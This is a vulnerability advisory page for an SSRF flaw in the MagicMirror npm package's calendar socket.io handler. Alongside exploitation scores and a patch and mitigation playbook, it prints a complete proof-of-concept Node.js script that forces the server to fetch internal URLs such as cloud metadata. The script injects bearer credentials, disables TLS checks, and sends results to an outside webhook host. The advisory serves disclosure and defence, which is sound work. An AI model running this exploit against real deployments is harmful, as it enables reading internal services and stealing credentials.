Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-63643 — magicmirror

Fix: MagicMirrorOrg/MagicMirror@58c2a5e

CVE-2026-63643 is a CWE-441 vulnerability in magicmirror. A fix is available for magicmirror — see the affected versions and patch details below.

MagicMirror: ssrf calendar .js

Also known asGHSA-w6x9-28jw-hq7j
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-63643.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.00%0.39%0.78%1.17%0.5%0.7%0.7%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
magicmirrornpm
331downloads / week

Description

Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.


Identification

FieldValue
PoC fileexploit-ssrf-calendar.js
Endpointsocket.io namespace /calendar, notification ADD_CALENDAR
Preconditionreach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls:

  • the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
  • the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-calendar.js)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "CALENDAR_EVENTS") {
		console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
		for (const ev of payload.events || []) {
			console.log("    SUMMARY:", ev.title);
			if (ev.title && ev.title.includes("FLAG{")) {
				console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
				console.log("      " + ev.title);
				process.exit(0);
			}
		}
	} else if (event === "CALENDAR_ERROR") {
		console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
	}
});

socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
	console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
	socket.emit("ADD_CALENDAR", {
		url: INTERNAL_URL,
		fetchInterval: 60000,
		excludedEvents: [],
		maximumEntries: 10,
		maximumNumberOfDays: 3650,
		auth: { method: "bearer", pass: "internal-admin-token" },
		broadcastPastEvents: true,
		selfSignedCert: true,
		id: "pwn"
	});
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

  • Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
  • Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
  • Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
  • TLS bypass via selfSignedCert: true.
  • Internal port scanning through error/timing differences.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmagicmirrorall versions2.37.0npm install magicmirror@2.37.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for magicmirror, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update magicmirror to 2.37.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-63643 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

# Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar) > Analysis of the PoC `exploit-ssrf-calendar.js`. > Target: `calendar/node_helper.js` of MagicMirror², socket.io namespace `/calendar`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-calendar.js` | | **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL th
O3 Security · Impact-Aware SCA

Is CVE-2026-63643 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-63643: SSRF — Fixed in 2.37.0 | O3 Security